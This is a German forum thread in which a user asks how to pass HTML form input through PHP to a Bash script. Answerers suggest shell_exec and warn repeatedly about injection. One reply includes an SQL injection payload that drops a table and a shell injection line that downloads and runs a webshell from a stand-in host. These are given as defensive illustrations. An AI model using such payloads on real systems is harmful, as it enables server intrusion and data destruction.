PHP + Bash?
Hi, ich würde gerne Werte in einem HTML Formular angeben, die über PHP an ein Bash Script übergeben werden... Beispiel:
Ich habe das HTML Input, wo man seine Mail eingeben soll... Dies wird über PHP in ein Bash Script übertragen, was dies in dem Sinne dann über echo im Terminal ausgibt...
4 Antworten
In eine Datei schreiben kannst du mit file_put_contents. Wenn du die Datei irgendwie bearbeiten willst, musst du die Datei erst mit file_get_contents lesen, deine Änderungen durchführen und die Datei dann wieder schreiben.
Mir erschliesst sich aber nicht so ganz, was dein Ziel ist. Wenn du ein Bash-Script via PHP ausführst, welches einfach nur ein echo enthält, bringt das rein gar nix. Wo soll denn das echo angezeigt werden? Das geht ja dann ins Nichts.
Zudem öffnest du damit eine massive Sicherheitslücke. Statt eine E-Mail kann man einfach frisch fröhlich ein paar andere Befehle eingeben, woran dein Server unter Umständen nicht sonderlich Freude dran hat. Man kann versuchen, die Eingaben zu filtern, meist gibts dann aber doch immer einen Weg, diesen Filter zu umgehen. Am besten wäre es einfach, wenn du dann dieses "Feature" gar nicht erst einbaust.
Das war nur ein Beispiel... Wenn ich beispielweise dies habe:
https://www.sinusbot.com/dl/sinusbot.current.tar.bz2
bunzip2 sinusbot*
tar xvf sinusbot
Soll auch da das Bash Script ausgeführt werden, wenn man im HTML Formular, jedoch Sinusbot installieren über ein select wählt... Dazu soll noch, bevor das Bash Scipt ausgeführt wird, ein weiteres Fenster erscheinen, in dem man beispielsweise ein Haken setzt, wodurch YouTubeDL mit installiert wird! Ist der Haken nicht gesetzt, dann wird YouTubeDL halt nicht mit installiert
Das mit dem YouTubeDL-Haken würde ich dann clientseitig mit ein paar wenigen Zeilen Javascript machen.
Solange du aber keine Eingaben eines Nutzers direkt in irgendeiner Weise einer interpretierten Sprache weitergibst, besteht da eigentlich keine Gefahr mehr, vorausgesetzt, du hast selber keine Kacke programmiert xD
Um also ein Shell-Script auszuführen, kannst du shell_exec nutzen.
Übrigens: Ich empfände es für besser, wenn du das Tar-Archiv nur einmal runterlädst und dann die Dateien pro Aufruf des Scriptes einfach an ihren Zielort kopierst. Dadurch ersparst du dir, als auch Teamspeak und Sinusbot Bandbreite.
Mit dem shell_exec würde ich aber nur das Bash Scipt ausführen, wie wäre denn der Code, um das mit dem Häkchen weiterzugeben?
Schon, nur wie übergebe ich das? Wenn ich also den Haken setze, dass das Bash dies dann installiert? Sprich:
Haken gesetzt => YouTubeDL installieren
Haken nicht gesetzt => YouTubeDL nicht installieren
Muss man ja dem Bash Script ja irgendwie wissen lassen
Warum lässt du die Daten nicht direkt von PHP verarbeiten und ins Terminal ausgeben?
Wie? In dem PHP Script baue ich einfach ein HTML Formular, was ansich egal ist, da über action dies sowieso erst in ein anderes PHP Script übergeben werden muss... Oder?
Für Formulare brauchst du erstmal nur HTML - geht natürlich auch mit PHP.
Die Auswertung machst du danach mit PHP.
Und die Anzeige kannst du doch gleich im PHP der Auswertung machen
Wozu brauchst du ein Bash-Script um um Daten auszugeben.
Warum nicht gleich PHP verwenden
Da dieses Bashscript auf einem anderen Server liegen soll und die Werte erfässt
Und warum läuft auf den anderen Server dann nicht PHP?
Mit PHP kannst du die Daten erfassen, speichern und ausgeben.
Mit Bash-Script kannst du die Daten nicht auf anderen Server ubertragen
Why? https://www.php.net/manual/de/function.fwrite.php
Eingaben bitte nie ungefiltert und unvalidiert weiter verarbeiten, das geht oft schief und öffnet Hackern Tür und Tor.
Was hat das mit dem Werten von dem HTML Formular in das Bash Script übergeben zu tun?
https://www.php.net/manual/en/function.shell-exec.php
Das geht alles.
Aber das was der User Dir schickt solltest Du immer wie rohe Eier behandeln. Nicht selten hat eine böswillige Eingabe irgendwas seltsames angerichtet:
SQL Injection z.B.
ExampletxtUserId = getRequestString("UserId");
txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;
And the following input:
User id:
The valid SQL statement would look like this:
ResultSELECT * FROM Users WHERE UserId = 105; DROP TABLE Suppliers;
Oder Spaß mit Shell:
Ich bestelle einmal `wget http://foo.bar/webshell && nohup webshell` - bitte Grün verpacken.
Bash und andere Shells interpretieren Dinge. Da muss man vorsichtig sein.
Was das mit dem Formular zu tun hat?
Sehr viel, wenn die Daten ungeprüft verarbeitet werden ist es möglich in deine Webseite einzudringen und dort Unfug zu machen
Nun ja, ich dachte mir das so, ich habe schon ein fertig geschriebenes Bash Script wie:
Dieses Bash Script soll ausgeführt werden, wenn man im HTML Formular, TeamSpeak installieren über ein select wählt